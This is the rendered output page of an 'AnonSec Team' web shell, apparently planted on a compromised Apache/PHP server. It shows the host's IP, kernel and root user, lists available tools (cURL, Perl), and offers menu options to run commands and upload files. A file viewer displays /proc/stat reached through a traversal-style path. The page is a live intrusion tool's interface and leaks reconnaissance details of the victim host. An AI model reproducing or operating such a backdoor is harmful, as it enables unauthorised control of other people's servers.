AnonSec Team
Server IP : 10.1.204.1  /  Your IP : 216.73.216.250
Web Server : Apache/2.4.66 (Debian)
System : Linux madang-bd97cb958-x26ms 6.8.0-78-generic #78-Ubuntu SMP PREEMPT_DYNAMIC Tue Aug 12 11:28:09 UTC 2025 aarch64
User : root ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../run/../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../run/../proc/stat
cpu  793002840 648822 461366897 10433820279 26129686 0 75431361 0 0 0
cpu0 202405961 161637 115879529 2609941604 6612234 0 16984092 0 0 0
cpu1 200966868 180466 115794278 2609539634 6611669 0 16914393 0 0 0
cpu2 200277295 180268 115465581 2609667500 6569428 0 17135464 0 0 0
cpu3 189352714 126449 114227507 2604671540 6336353 0 24397411 0 0 0
intr 200097444986 0 2752885790 2685973718 0 0 0 3503241 0 0 0 3447239871 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 422 0 489865 0 0 1 1 1 1 1 1 1 1 1 0 14 0 0 0 248741294 248608908 248142147 249026555 35 2041224542 2298547952 35 250492107 842682601 0 70 0 0 0 0 0 96292082 0
ctxt 310781050835
btime 1756496999
processes 841562255
procs_running 14
procs_blocked 0
softirq 39988113368 7811 1516627864 244876 3044298019 58848065 0 400052021 1145244423 17354 3758001863

AnonSec - 2021